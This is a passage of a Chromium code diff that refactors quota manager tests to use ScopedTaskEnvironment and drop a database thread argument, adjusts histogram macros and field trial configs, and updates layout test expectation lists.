-                       stats_in_hour.num_evicted_origins);
-  UMA_HISTOGRAM_COUNTS("Quota.EvictionRoundsPerHour",
-                       stats_in_hour.num_eviction_rounds);
-  UMA_HISTOGRAM_COUNTS("Quota.SkippedEvictionRoundsPerHour",
-                       stats_in_hour.num_skipped_eviction_rounds);
+  UMA_HISTOGRAM_COUNTS_1M("Quota.ErrorsOnEvictingOriginPerHour",
+                          stats_in_hour.num_errors_on_evicting_origin);
+  UMA_HISTOGRAM_COUNTS_1M("Quota.ErrorsOnGettingUsageAndQuotaPerHour",
+                          stats_in_hour.num_errors_on_getting_usage_and_quota);
+  UMA_HISTOGRAM_COUNTS_1M("Quota.EvictedOriginsPerHour",
+                          stats_in_hour.num_evicted_origins);
+  UMA_HISTOGRAM_COUNTS_1M("Quota.EvictionRoundsPerHour",
+                          stats_in_hour.num_eviction_rounds);
+  UMA_HISTOGRAM_COUNTS_1M("Quota.SkippedEvictionRoundsPerHour",
+                          stats_in_hour.num_skipped_eviction_rounds);
 }
 
 void QuotaTemporaryStorageEvictor::OnEvictionRoundStarted() {
diff --git a/storage/browser/quota/storage_monitor_unittest.cc b/storage/browser/quota/storage_monitor_unittest.cc
index 5a1c2728..3c02ca9 100644
--- a/storage/browser/quota/storage_monitor_unittest.cc
+++ b/storage/browser/quota/storage_monitor_unittest.cc
@@ -9,6 +9,7 @@
 #include "base/files/scoped_temp_dir.h"
 #include "base/message_loop/message_loop.h"
 #include "base/run_loop.h"
+#include "base/test/scoped_task_environment.h"
 #include "base/threading/thread_task_runner_handle.h"
 #include "net/base/url_util.h"
 #include "storage/browser/quota/quota_manager.h"
@@ -68,7 +69,6 @@
       : QuotaManager(false,
                      base::FilePath(),
                      base::ThreadTaskRunnerHandle::Get().get(),
-                     base::ThreadTaskRunnerHandle::Get().get(),
                      special_storage_policy,
                      storage::GetQuotaSettingsFunc()),
         callback_usage_(0),
@@ -161,6 +161,8 @@
   int GetObserverCount(const HostStorageObservers& host_observers) {
     return host_observers.observers_.ObserverCount();
   }
+
+  base::test::ScopedTaskEnvironment scoped_task_environment_;
 };
 
 class StorageTestWithManagerBase : public StorageMonitorTestBase {
@@ -173,11 +175,10 @@
   void TearDown() override {
     // This ensures the quota manager is destroyed correctly.
     quota_manager_ = NULL;
-    base::RunLoop().RunUntilIdle();
+    scoped_task_environment_.RunUntilIdle();
   }
 
  protected:
-  base::MessageLoop message_loop_;
   scoped_refptr<MockSpecialStoragePolicy> storage_policy_;
   scoped_refptr<UsageMockQuotaManager> quota_manager_;
 };
@@ -188,9 +189,6 @@
 
 // Test dispatching events to one observer.
 TEST_F(StorageObserverListTest, DispatchEventToSingleObserver) {
-  // A message loop is required as StorageObserverList may schedule jobs.
-  base::MessageLoop loop(base::MessageLoop::TYPE_DEFAULT);
-
   StorageObserver::MonitorParams params(kStorageTypePersistent,
                                         GURL(kDefaultOrigin),
                                         base::TimeDelta::FromHours(1),
@@ -241,9 +239,6 @@
 
 // Test dispatching events to multiple observers.
 TEST_F(StorageObserverListTest, DispatchEventToMultipleObservers) {
-  // A message loop is required as StorageObserverList may schedule jobs.
-  base::MessageLoop loop(base::MessageLoop::TYPE_DEFAULT);
-
   MockObserver mock_observer1;
   MockObserver mock_observer2;
   StorageObserverList observer_list;
@@ -645,8 +640,7 @@
     storage_policy_ = new MockSpecialStoragePolicy();
     quota_manager_ = new QuotaManager(
         false, data_dir_.GetPath(), base::ThreadTaskRunnerHandle::Get().get(),
-        base::ThreadTaskRunnerHandle::Get().get(), storage_policy_.get(),
-        storage::GetQuotaSettingsFunc());
+        storage_policy_.get(), storage::GetQuotaSettingsFunc());
 
     client_ = new MockStorageClient(quota_manager_->proxy(),
                                     NULL,
@@ -659,11 +653,11 @@
   void TearDown() override {
     // This ensures the quota manager is destroyed correctly.
     quota_manager_ = NULL;
-    base::RunLoop().RunUntilIdle();
+    scoped_task_environment_.RunUntilIdle();
   }
 
  protected:
-  base::MessageLoop message_loop_;
+  base::test::ScopedTaskEnvironment scoped_task_environment_;
   base::ScopedTempDir data_dir_;
   scoped_refptr<MockSpecialStoragePolicy> storage_policy_;
   scoped_refptr<QuotaManager> quota_manager_;
@@ -688,7 +682,7 @@
   client_->AddOriginAndNotify(GURL(kDefaultOrigin),
                               kTestStorageType,
                               kTestUsage);
-  base::RunLoop().RunUntilIdle();
+  scoped_task_environment_.RunUntilIdle();
 
   // Verify that the observer receives it.
   ASSERT_EQ(1, mock_observer.EventCount());
diff --git a/storage/browser/test/mock_quota_manager.cc b/storage/browser/test/mock_quota_manager.cc
index 02311f1c0..b57cc5c 100644
--- a/storage/browser/test/mock_quota_manager.cc
+++ b/storage/browser/test/mock_quota_manager.cc
@@ -38,12 +38,10 @@
     bool is_incognito,
     const base::FilePath& profile_path,
     const scoped_refptr<base::SingleThreadTaskRunner>& io_thread,
-    const scoped_refptr<base::SequencedTaskRunner>& db_thread,
     const scoped_refptr<SpecialStoragePolicy>& special_storage_policy)
     : QuotaManager(is_incognito,
                    profile_path,
                    io_thread,
-                   db_thread,
                    special_storage_policy,
                    storage::GetQuotaSettingsFunc()),
       weak_factory_(this) {}
diff --git a/storage/browser/test/mock_quota_manager.h b/storage/browser/test/mock_quota_manager.h
index 6289f319..4ead56c 100644
--- a/storage/browser/test/mock_quota_manager.h
+++ b/storage/browser/test/mock_quota_manager.h
@@ -47,7 +47,6 @@
       bool is_incognito,
       const base::FilePath& profile_path,
       const scoped_refptr<base::SingleThreadTaskRunner>& io_thread,
-      const scoped_refptr<base::SequencedTaskRunner>& db_thread,
       const scoped_refptr<SpecialStoragePolicy>& special_storage_policy);
 
   // Overrides QuotaManager's implementation. The internal usage data is
diff --git a/storage/browser/test/mock_quota_manager_unittest.cc b/storage/browser/test/mock_quota_manager_unittest.cc
index 6ebfbf1..59a1b370 100644
--- a/storage/browser/test/mock_quota_manager_unittest.cc
+++ b/storage/browser/test/mock_quota_manager_unittest.cc
@@ -50,7 +50,6 @@
     policy_ = new MockSpecialStoragePolicy;
     manager_ = new MockQuotaManager(
         false /* is_incognito */, data_dir_.GetPath(),
-        base::ThreadTaskRunnerHandle::Get().get(),
         base::ThreadTaskRunnerHandle::Get().get(), policy_.get());
   }
 
diff --git a/testing/buildbot/filters/ash_unittests_mash.filter b/testing/buildbot/filters/ash_unittests_mash.filter
index d274fab6..41c6ae58 100644
--- a/testing/buildbot/filters/ash_unittests_mash.filter
+++ b/testing/buildbot/filters/ash_unittests_mash.filter
@@ -3,6 +3,8 @@
 -FullscreenAppListPresenterDelegateTest.AppListViewDragHandlerTabletModeFromSearch
 -FullscreenAppListPresenterDelegateTest.BottomShelfAlignmentTextStateTransitions
 -FullscreenAppListPresenterDelegateTest.HalfToFullscreenWhenTabletModeIsActive
+-FullscreenAppListPresenterDelegateTest.HalfToPeekingByClickOrTap/0
+-FullscreenAppListPresenterDelegateTest.HalfToPeekingByClickOrTap/1
 -FullscreenAppListPresenterDelegateTest.KeyPressEnablesSearchBox
 -FullscreenAppListPresenterDelegateTest.TabletModeTextStateTransitions
 -FullscreenAppListPresenterDelegateTest.PeekingToFullscreenWhenTabletModeIsActive
@@ -12,7 +14,8 @@
 -FullscreenAppListPresenterDelegateTest.StateTransitionsByTappingAppListBodyFromFullscreen/0
 -FullscreenAppListPresenterDelegateTest.StateTransitionsByTappingAppListBodyFromFullscreen/1
 -FullscreenAppListPresenterDelegateTest.TapAndClickEnablesSearchBox
--FullscreenAppListPresenterDelegateTest.TapAndClickOutsideClosesHalfAppList
+-FullscreenAppListPresenterDelegateTest.TapAndClickOutsideClosesHalfAppList/0
+-FullscreenAppListPresenterDelegateTest.TapAndClickOutsideClosesHalfAppList/1
 -FullscreenAppListPresenterDelegateTest.TapAndClickOutsideClosesPeekingAppList
 -FullscreenAppListPresenterDelegateTest.WhitespaceQuery
 -NativeCursorManagerAshTest.FractionalScale
diff --git a/testing/variations/fieldtrial_testing_config.json b/testing/variations/fieldtrial_testing_config.json
index af7d409c..56ac7d4 100644
--- a/testing/variations/fieldtrial_testing_config.json
+++ b/testing/variations/fieldtrial_testing_config.json
@@ -863,23 +863,7 @@
     "DisallowFetchForDocWrittenScriptsInMainFrame": [
         {
             "platforms": [
-                "android"
-            ],
-            "experiments": [
-                {
-                    "name": "DocumentWriteEvaluatorGroup",
-                    "params": {
-                        "disallowFetchForDocWrittenScriptsInMainFrame": "false",
-                        "disallowFetchForDocWrittenScriptsInMainFrameOnSlowConnections": "false"
-                    },
-                    "enable_features": [
-                        "DocumentWriteEvaluator"
-                    ]
-                }
-            ]
-        },
-        {
-            "platforms": [
+                "android",
                 "chromeos"
             ],
             "experiments": [
@@ -887,32 +871,13 @@
                     "name": "DocumentWriteScriptBlockGroup",
                     "params": {
                         "disallowFetchForDocWrittenScriptsInMainFrame": "true"
-                    },
-                    "disable_features": [
-                        "DocumentWriteEvaluator"
-                    ]
+                    }
                 }
             ]
         },
         {
             "platforms": [
-                "linux"
-            ],
-            "experiments": [
-                {
-                    "name": "DocumentWriteEvaluatorGroup",
-                    "params": {
-                        "disallowFetchForDocWrittenScriptsInMainFrame": "false",
-                        "disallowFetchForDocWrittenScriptsInMainFrameOnSlowConnections": "false"
-                    },
-                    "enable_features": [
-                        "DocumentWriteEvaluator"
-                    ]
-                }
-            ]
-        },
-        {
-            "platforms": [
+                "linux",
                 "mac",
                 "win"
             ],
@@ -922,10 +887,7 @@
                     "params": {
                         "disallowFetchForDocWrittenScriptsInMainFrame": "false",
                         "disallowFetchForDocWrittenScriptsInMainFrameOnSlowConnections": "true"
-                    },
-                    "disable_features": [
-                        "DocumentWriteEvaluator"
-                    ]
+                    }
                 }
             ]
         }
@@ -1401,6 +1363,21 @@
             ]
         }
     ],
+    "InstantTethering": [
+        {
+            "platforms": [
+                "chromeos"
+            ],
+            "experiments": [
+                {
+                    "name": "Enabled",
+                    "enable_features": [
+                        "InstantTethering"
+                    ]
+                }
+            ]
+        }
+    ],
     "IntelligentSessionRestore": [
         {
             "platforms": [
@@ -1630,13 +1607,7 @@
             ],
             "experiments": [
                 {
-                    "name": "Enabled-ChromeReader",
-                    "params": {
-                        "soft_fetching_interval_hours-fallback-active_ntp_user": "10",
-                        "soft_fetching_interval_hours-wifi-active_ntp_user": "6",
-                        "user_classifier_active_consumer_clicks_at_least_once_per_hours": "96",
-                        "user_classifier_rare_user_opens_ntp_at_most_once_per_hours": "66"
-                    },
+                    "name": "Enabled-ChromeReader-ReducedPersistent",
                     "enable_features": [
                         "NTPArticleSuggestions"
                     ]
@@ -3677,6 +3648,21 @@
             ]
         }
     ],
+    "XGEOVisibleNetworks": [
+        {
+            "platforms": [
+                "android"
+            ],
+            "experiments": [
+                {
+                    "name": "Experiment",
+                    "enable_features": [
+                        "XGEOVisibleNetworks"
+                    ]
+                }
+            ]
+        }
+    ],
     "use-new-media-cache": [
         {
             "platforms": [
diff --git a/third_party/WebKit/LayoutTests/FlagExpectations/enable-blink-features=LayoutNG b/third_party/WebKit/LayoutTests/FlagExpectations/enable-blink-features=LayoutNG
index 3950362..435170ed 100644
--- a/third_party/WebKit/LayoutTests/FlagExpectations/enable-blink-features=LayoutNG
+++ b/third_party/WebKit/LayoutTests/FlagExpectations/enable-blink-features=LayoutNG
@@ -3418,6 +3418,7 @@
 crbug.com/591099 external/wpt/css/css-grid-1/grid-items/grid-item-containing-block-003.html [ Failure ]
 crbug.com/591099 external/wpt/css/css-grid-1/grid-items/grid-item-containing-block-004.html [ Failure ]
 crbug.com/591099 external/wpt/css/css-grid-1/grid-model/grid-margins-no-collapse-001.html [ Failure ]
+crbug.com/591099 external/wpt/css/css-position-3/position-sticky-nested-inline.html [ Failure ]
 crbug.com/591099 external/wpt/css/css-position-3/position-sticky-table-th-left.html [ Failure Pass ]
 crbug.com/591099 external/wpt/css/css-position-3/position-sticky-table-th-right.html [ Failure Pass ]
 crbug.com/591099 external/wpt/css/css-rhythm-1/line-height-step-basic-001.html [ Failure ]
@@ -5783,7 +5784,6 @@
 crbug.com/591099 fast/css/square-button-appearance.html [ Failure Pass ]
 crbug.com/591099 fast/css/stale-style-selector-crash-1.html [ Failure ]
 crbug.com/591099 fast/css/stale-style-selector-crash-2.html [ Failure ]
-crbug.com/591099 fast/css/sticky/nested/sticky-nested-inline.html [ Failure ]
 crbug.com/591099 fast/css/sticky/overflow-layer-removed-crash.html [ Failure ]
 crbug.com/591099 fast/css/sticky/remove-inline-sticky-crash.html [ Failure ]
 crbug.com/591099 fast/css/sticky/sticky-top-overflow-scroll-by-fragment.html [ Failure ]
@@ -10878,15 +10878,9 @@
 crbug.com/591099 fast/text/large-text-composed-char.html [ Failure Timeout ]
 crbug.com/591099 fast/text/letter-spacing-negative-opacity.html [ Failure ]
 crbug.com/591099 fast/text/line-break-8bit-after-16bit.html [ Failure ]
-crbug.com/591099 fast/text/line-break-after-empty-inline-hebrew.html [ Failure ]
-crbug.com/591099 fast/text/line-break-after-inline-latin1.html [ Failure ]
-crbug.com/591099 fast/text/line-break-after-question-mark.html [ Failure Timeout ]
 crbug.com/591099 fast/text/line-break-between-text-nodes-cjk.html [ Failure Pass ]
 crbug.com/591099 fast/text/line-break-between-text-nodes-latin1.html [ Failure ]
 crbug.com/591099 fast/text/line-break-between-text-nodes.html [ Failure Pass ]
-crbug.com/591099 fast/text/line-breaks-after-closing-punctuations.html [ Failure ]
-crbug.com/591099 fast/text/line-breaks-after-ideographic-comma-or-full-stop-2.html [ Failure ]
-crbug.com/591099 fast/text/line-breaks-after-ideographic-comma-or-full-stop.html [ Failure ]
 crbug.com/591099 fast/text/line-initial-and-final-swashes.html [ Failure ]
 crbug.com/591099 fast/text/long-word.html [ Failure Timeout ]
 crbug.com/591099 fast/text/midword-break-after-breakable-char.html [ Failure ]
diff --git a/third_party/WebKit/LayoutTests/FlagExpectations/enable-features=NetworkService b/third_party/WebKit/LayoutTests/FlagExpectations/enable-features=NetworkService
index e41f634..5d6762b 100644
--- a/third_party/WebKit/LayoutTests/FlagExpectations/enable-features=NetworkService
+++ b/third_party/WebKit/LayoutTests/FlagExpectations/enable-features=NetworkService
@@ -290,6 +290,10 @@
 Bug(none) external/wpt/fetch/api/basic/accept-header.any.worker.html [ Failure ]
 Bug(none) external/wpt/fetch/api/basic/request-headers.any.html [ Failure ]
 Bug(none) external/wpt/fetch/api/basic/request-headers.any.worker.html [ Failure ]
+Bug(none) external/wpt/fetch/api/basic/request-upload.any.html [ Failure ]
+Bug(none) external/wpt/fetch/api/basic/request-upload.any.worker.html [ Failure ]
+Bug(none) external/wpt/fetch/api/cors/cors-cookies.any.html [ Failure Pass ]
+Bug(none) external/wpt/fetch/api/cors/cors-cookies.any.worker.html [ Failure Pass ]
 Bug(none) external/wpt/fetch/api/policies/referrer-no-referrer-service-worker.https.html [ Crash Failure Timeout ]
 Bug(none) external/wpt/fetch/api/policies/referrer-origin-service-worker.https.html [ Crash Failure Timeout ]
 Bug(none) external/wpt/fetch/api/policies/referrer-origin-when-cross-origin-service-worker.https.html [ Crash Failure Timeout ]
@@ -969,6 +973,7 @@
 Bug(none) http/tests/inspector-enabled [ Failure Timeout ]
 Bug(none) http/tests/inspector-protocol [ Failure Timeout ]
 Bug(none) http/tests/inspector-protocol/cachestorage/read-cached-response.js [ Crash ]
+Bug(none) http/tests/inspector-protocol/page/frameScheduledNavigation.js [ Crash ]
 Bug(none) http/tests/inspector/extensions/extensions-api.html [ Timeout ]
 Bug(none) http/tests/inspector/extensions/extensions-audits-api.html [ Timeout ]
 Bug(none) http/tests/inspector/extensions/extensions-audits-content-script.html [ Timeout ]
@@ -1081,7 +1086,10 @@
 Bug(none) http/tests/misc/adopt-iframe-src-attr-after-remove.html [ Timeout ]
 Bug(none) http/tests/misc/createElementNamespace1.xml [ Failure ]
 Bug(none) http/tests/misc/detach-and-location-change-in-onload.html [ Timeout ]
-Bug(none) http/tests/misc/image-checks-for-accept.html [ Failure ]
+Bug(none) http/tests/misc/embed-image-load-outlives-gc-without-crashing.html [ Failure Pass ]
+Bug(none) http/tests/misc/image-checks-for-accept.html [ Failure Pass ]
+Bug(none) http/tests/misc/image-input-type-outlives-gc-without-crashing.html [ Failure Pass ]
+Bug(none) http/tests/misc/image-load-outlives-gc-without-crashing.html [ Failure Pass ]
 Bug(none) http/tests/misc/link-preconnect-schemeless.https.html [ Timeout ]
 Bug(none) http/tests/misc/link-rel-prefetch.html [ Failure ]
 Bug(none) http/tests/misc/onload-detach-during-csp-frame-src-none.html [ Failure ]
diff --git a/third_party/WebKit/LayoutTests/FlagExpectations/enable-slimming-paint-v2 b/third_party/WebKit/LayoutTests/FlagExpectations/enable-slimming-paint-v2
index c56a151..325a5742d 100644
--- a/third_party/WebKit/LayoutTests/FlagExpectations/enable-slimming-paint-v2
+++ b/third_party/WebKit/LayoutTests/FlagExpectations/enable-slimming-paint-v2
@@ -73,7 +73,6 @@
 Bug(none) virtual/android/ [ Skip ]
 Bug(none) virtual/color_space/ [ Skip ]
 Bug(none) virtual/display_list_2d_canvas/ [ Skip ]
-Bug(none) virtual/documentwriteevaluator/ [ Skip ]
 Bug(none) virtual/enable_asmjs/ [ Skip ]
 Bug(none) virtual/enable_wasm/ [ Skip ]
 Bug(none) virtual/exotic-color-space/ [ Skip ]
diff --git a/third_party/WebKit/LayoutTests/FlagExpectations/site-per-process b/third_party/WebKit/LayoutTests/FlagExpectations/site-per-process
index bafa663..f4d4e50 100644
--- a/third_party/WebKit/LayoutTests/FlagExpectations/site-per-process
+++ b/third_party/WebKit/LayoutTests/FlagExpectations/site-per-process
@@ -48,6 +48,7 @@
 # https://crbug.com/602493 - Layout tests harness doesn't support history dump across OOPIFs
 crbug.com/602493 http/tests/security/mixedContent/insecure-iframe-in-main-frame.html [ Crash ]
 crbug.com/602493 virtual/mojo-loading/http/tests/security/mixedContent/insecure-iframe-in-main-frame.html [ Crash ]
+crbug.com/602493 virtual/off-main-thread-fetch/http/tests/security/mixedContent/insecure-iframe-in-main-frame.html [ Crash ]
 
 # https://crbug.com/582522 - extra mixedContent checks reported with --site-per-process
 # https://crbug.com/602497 - Inconsistent console messages about mixed content,
@@ -56,6 +57,8 @@
 crbug.com/602497 http/tests/security/mixedContent/insecure-iframe-in-main-frame-allowed.html [ Failure ]
 crbug.com/602497 virtual/mojo-loading/http/tests/security/mixedContent/insecure-iframe-in-main-frame-allowed.html [ Failure ]
 crbug.com/602497 virtual/mojo-loading/http/tests/security/mixedContent/insecure-iframe-in-iframe.html [ Failure ]
+crbug.com/602497 virtual/off-main-thread-fetch/http/tests/security/mixedContent/insecure-iframe-in-main-frame-allowed.html [ Failure ]
+crbug.com/602497 virtual/off-main-thread-fetch/http/tests/security/mixedContent/insecure-iframe-in-iframe.html [ Failure ]
 
 # https://crbug.com/585188 - testRunner.addOriginAccessWhitelistEntry is not replicated to OOPIFs.
 crbug.com/585188 http/tests/xmlhttprequest/origin-whitelisting-all.html [ Failure ]
diff --git a/third_party/WebKit/LayoutTests/TestExpectations b/third_party/WebKit/LayoutTests/TestExpectations
index 4cb70a71..0c10084 100644
--- a/third_party/WebKit/LayoutTests/TestExpectations
+++ b/third_party/WebKit/LayoutTests/TestExpectations
@@ -708,6 +708,8 @@
 crbug.com/520611 [ Debug ] fast/filesystem/workers/file-writer-events-shared-worker.html [ Failure Pass ]
 crbug.com/520194 http/tests/xmlhttprequest/timeout/xmlhttprequest-timeout-worker-overridesexpires.html [ Failure Pass ]
 
+crbug.com/749251 [ Mac10.11 ] http/tests/inspector/application-panel/resources-panel-websql.html [ Failure Pass ]
+
 crbug.com/233303 [ Win7 Debug ] inspector/sources/debugger-breakpoints/dom-breakpoints.html [ Pass Failure Timeout ]
 
 crbug.com/410974 fast/scroll-behavior/scroll-customization/scrollstate-basic.html [ Pass Failure ]
@@ -833,6 +835,7 @@
 crbug.com/698135 external/wpt/editing/run/delete.html [ Crash Failure Timeout ]
 crbug.com/698165 external/wpt/editing/run/forwarddelete.html [ Pass Timeout ]
 crbug.com/698165 external/wpt/editing/run/justifycenter.html [ Pass Timeout ]
+crbug.com/698165 [ Win7 Debug ] external/wpt/editing/run/multitest.html [ Pass Timeout ]
 
 crbug.com/688613 external/wpt/mediacapture-streams/MediaStreamTrack-MediaElement-disabled-audio-is-silence.https.html [ Skip ]
 
@@ -1223,8 +1226,6 @@
 crbug.com/504706 [ Linux ] inspector/profiler/heap-snapshot-containment-expansion-preserved-when-sorting.html [ Pass ]
 crbug.com/504706 [ Linux ] inspector/profiler/heap-snapshot-containment-sorting.html [ Pass ]
 
-crbug.com/425345 [ Mac ] fast/text/line-break-after-question-mark.html [ Failure ]
-
 # When drawing subpixel smoothed glyphs, CoreGraphics will fake bold the glyphs.
 # In this configuration, the pixel smoothed glyphs will be created from subpixel smoothed glyphs.
 # This means that CoreGraphics may draw outside the reported glyph bounds, and in this case does.
@@ -1305,6 +1306,14 @@
 crbug.com/613672 [ Mac ] fast/events/synthetic-events/tap-on-scaled-screen.html  [ Skip ]
 crbug.com/613672 [ Mac ] virtual/scalefactor150/fast/events/synthetic-events/tap-on-scaled-screen.html  [ Skip ]
 
+# Coverage tests in need of rebaselining for the new block coverage mode.
+crbug.com/v8/6000 inspector/coverage/coverage-repeated.html [ NeedsManualRebaseline ]
+crbug.com/v8/6000 inspector/coverage/coverage-view-filter.html [ NeedsManualRebaseline ]
+crbug.com/v8/6000 inspector/coverage/coverage-view.html [ NeedsManualRebaseline ]
+crbug.com/v8/6000 inspector/coverage/decorations-after-script-formatter.html [ NeedsManualRebaseline ]
+crbug.com/v8/6000 inspector/coverage/gutter-js.html [ NeedsManualRebaseline ]
+crbug.com/v8/6000 inspector/coverage/multiple-instances-merge.html [ NeedsManualRebaseline ]
+
 # We should send PointerLeave events for stylus devices.
 crbug.com/583413 external/wpt/pointerevents/pointerevent_pointerleave_pen-manual.html  [ Failure ]
 
@@ -1584,12 +1593,6 @@
 crbug.com/453002 [ Win ] fast/text/justify-ideograph-vertical.html [ Failure Pass ]
 crbug.com/453002 [ Win ] fast/text/orientation-sideways.html [ Failure Pass ]
 
-# DocumentWriteEvaluator is still experimental
-crbug.com/599115 http/tests/preload/document-write [ Failure ]
-crbug.com/599115 http/tests/preload/document-write/document_write_no_preload.html [ Pass ]
-crbug.com/599115 virtual/mojo-loading/http/tests/preload/document-write [ Failure ]
-crbug.com/599115 virtual/mojo-loading/http/tests/preload/document-write/document_write_no_preload.html [ Pass ]
-
 crbug.com/605525 [ Win ] http/tests/xmlhttprequest/redirect-cross-origin-post.html [ Failure Pass ]
 
 crbug.com/600248 external/wpt/web-animations/interfaces/Animation/oncancel.html [ Pass Failure ]
@@ -1598,7 +1601,6 @@
 crbug.com/600248 external/wpt/web-animations/timing-model/animations/updating-the-finished-state.html [ Timeout ]
 crbug.com/600248 external/wpt/web-animations/animation-model/animation-types/interpolation-per-property.html [ Timeout ]
 crbug.com/600248 external/wpt/web-animations/animation-model/animation-types/addition-per-property.html [ Timeout ]
-crbug.com/600248 external/wpt/web-animations/animation-model/animation-types/discrete-animation.html [ Failure ]
 crbug.com/600248 external/wpt/web-animations/timing-model/animations/current-time.html [ Failure ]
 crbug.com/600248 external/wpt/web-animations/timing-model/animations/set-the-animation-start-time.html [ Failure ]
 
@@ -2296,6 +2298,8 @@
 crbug.com/435547 http/tests/cachestorage/serviceworker/ignore-search-with-credentials.html [ Skip ]
 crbug.com/435547 virtual/mojo-loading/http/tests/cachestorage/serviceworker/ignore-search-with-credentials.html [ Skip ]
 
+crbug.com/749212 [ Mac10.10 ] webaudio/internals/audiosource-premature-gc.html [ Crash Pass ]
+
 crbug.com/747502 paint/roundedrects/input-with-rounded-rect-and-shadow.html [ NeedsManualRebaseline ]
 crbug.com/747502 fast/borders/border-radius-with-box-shadow.html [ NeedsManualRebaseline ]
 crbug.com/747502 paint/roundedrects/circle-with-shadow.html [ NeedsManualRebaseline ]
@@ -2541,8 +2545,6 @@
 # ====== Random order flaky tests end here ======
 
 # ====== Tests from enabling .any.js/.worker.js tests begin here ======
-crbug.com/709227 external/wpt/FileAPI/idlharness.worker.html [ Failure ]
-crbug.com/709227 external/wpt/IndexedDB/interfaces.worker.html [ Failure ]
 crbug.com/709227 external/wpt/WebCryptoAPI/derive_bits_keys/ecdh_bits.worker.html [ Failure ]
 crbug.com/709227 external/wpt/WebCryptoAPI/derive_bits_keys/ecdh_keys.worker.html [ Failure ]
 crbug.com/709227 external/wpt/WebCryptoAPI/derive_bits_keys/hkdf.worker.html [ Failure ]
@@ -2583,8 +2585,6 @@
 crbug.com/709227 external/wpt/WebCryptoAPI/sign_verify/rsa_pkcs.worker.html [ Failure ]
 crbug.com/709227 external/wpt/WebCryptoAPI/sign_verify/rsa_pss.worker.html [ Failure ]
 crbug.com/709227 external/wpt/WebCryptoAPI/wrapKey_unwrapKey/wrapKey_unwrapKey.worker.html [ Failure ]
-crbug.com/709227 external/wpt/WebIDL/ecmascript-binding/es-exceptions/constructor-object.worker.html [ Failure ]
-crbug.com/709227 external/wpt/background-fetch/interfaces.worker.html [ Failure ]
 crbug.com/709227 external/wpt/console/console-count-label-conversion.any.html [ Failure ]
 crbug.com/709227 external/wpt/console/console-count-label-conversion.any.worker.html [ Failure ]
 crbug.com/709227 external/wpt/console/console-time-label-conversion.any.html [ Failure ]
@@ -2593,18 +2593,7 @@
 crbug.com/709227 external/wpt/console/console-timeline-timelineEnd-historical.any.worker.html [ Failure ]
 crbug.com/709227 external/wpt/css/geometry-1/DOMMatrix-css-string.worker.html [ Failure ]
 crbug.com/709227 external/wpt/css/geometry-1/interfaces.worker.html [ Failure ]
-crbug.com/709227 external/wpt/fetch/api/basic/request-upload.any.html [ Failure ]
-crbug.com/709227 external/wpt/fetch/api/basic/request-upload.any.worker.html [ Failure ]
-crbug.com/709227 external/wpt/fetch/api/basic/scheme-about.any.html [ Failure ]
-crbug.com/709227 external/wpt/fetch/api/basic/scheme-about.any.worker.html [ Failure ]
-crbug.com/709227 external/wpt/fetch/api/cors/cors-preflight-redirect.any.html [ Failure ]
-crbug.com/709227 external/wpt/fetch/api/cors/cors-preflight-redirect.any.worker.html [ Failure ]
-crbug.com/709227 external/wpt/fetch/api/cors/cors-preflight-referrer.any.html [ Failure ]
-crbug.com/709227 external/wpt/fetch/api/cors/cors-preflight-referrer.any.worker.html [ Failure ]
-crbug.com/709227 external/wpt/fetch/api/cors/cors-preflight-star.any.html [ Failure ]
-crbug.com/709227 external/wpt/fetch/api/cors/cors-preflight-star.any.worker.html [ Failure ]
 crbug.com/709227 external/wpt/html/browsers/history/the-location-interface/per-global.window.html [ Failure ]
-crbug.com/709227 external/wpt/html/dom/interfaces.worker.html [ Failure ]
 crbug.com/709227 external/wpt/html/syntax/parsing/html5lib_isindex.html?run_type=uri [ Failure ]
 crbug.com/709227 external/wpt/html/syntax/parsing/html5lib_isindex.html?run_type=write [ Failure ]
 crbug.com/709227 external/wpt/html/syntax/parsing/html5lib_isindex.html?run_type=write_single [ Failure ]
@@ -2684,12 +2673,6 @@
 crbug.com/709227 external/wpt/performance-timeline/po-getentries.any.worker.html [ Failure ]
 crbug.com/709227 external/wpt/performance-timeline/po-mark-measure.any.worker.html [ Failure ]
 crbug.com/709227 external/wpt/performance-timeline/po-observe.any.worker.html [ Failure ]
-crbug.com/709227 external/wpt/storage/interfaces.worker.html [ Failure ]
-crbug.com/709227 external/wpt/url/historical.any.html [ Failure ]
-crbug.com/709227 external/wpt/url/historical.any.worker.html [ Failure ]
-crbug.com/709227 external/wpt/url/interfaces.any.html [ Failure ]
-crbug.com/709227 external/wpt/url/interfaces.any.worker.html [ Failure ]
-crbug.com/709227 external/wpt/url/toascii.window.html [ Failure ]
 crbug.com/709227 external/wpt/user-timing/invoke_with_timing_attributes.worker.html [ Failure ]
 crbug.com/709227 external/wpt/websockets/closing-handshake/002.html?wss [ Failure ]
 crbug.com/709227 external/wpt/websockets/closing-handshake/003.html?wss [ Failure ]
@@ -2743,18 +2726,6 @@
 crbug.com/709227 external/wpt/websockets/unload-a-document/001.html?wss [ Failure ]
 crbug.com/709227 external/wpt/websockets/unload-a-document/002.html [ Failure ]
 crbug.com/709227 external/wpt/websockets/unload-a-document/002.html?wss [ Failure ]
-crbug.com/709227 external/wpt/workers/constructors/Worker/DedicatedWorkerGlobalScope-members.worker.html [ Failure ]
-crbug.com/709227 external/wpt/workers/constructors/Worker/expected-self-properties.worker.html [ Failure ]
-crbug.com/709227 external/wpt/workers/interfaces.worker.html [ Failure ]
-crbug.com/709227 external/wpt/workers/interfaces/WorkerUtils/importScripts/002.worker.html [ Failure ]
-crbug.com/709227 external/wpt/workers/semantics/interface-objects/001.worker.html [ Failure ]
-crbug.com/709227 external/wpt/workers/semantics/interface-objects/002.worker.html [ Failure ]
-crbug.com/709227 external/wpt/WebIDL/ecmascript-binding/es-exceptions/DOMException-custom-bindings.any.html [ Failure ]
-crbug.com/709227 external/wpt/WebIDL/ecmascript-binding/es-exceptions/DOMException-custom-bindings.any.worker.html [ Failure ]
-crbug.com/709227 external/wpt/dom/abort/event.any.html [ Failure ]
-crbug.com/709227 external/wpt/dom/abort/event.any.worker.html [ Failure ]
-crbug.com/709227 external/wpt/dom/events/EventTarget-constructible.any.html [ Failure ]
-crbug.com/709227 external/wpt/dom/events/EventTarget-constructible.any.worker.html [ Failure ]
 crbug.com/709227 external/wpt/performance-timeline/po-callback-mutate.any.html [ Failure ]
 crbug.com/709227 external/wpt/performance-timeline/po-callback-mutate.any.worker.html [ Failure ]
 crbug.com/709227 external/wpt/performance-timeline/po-disconnect.any.html [ Failure ]
@@ -3001,6 +2972,8 @@
 
 crbug.com/737959 http/tests/misc/video-poster-image-load-outlives-gc-without-crashing.html [ Failure Pass Crash ]
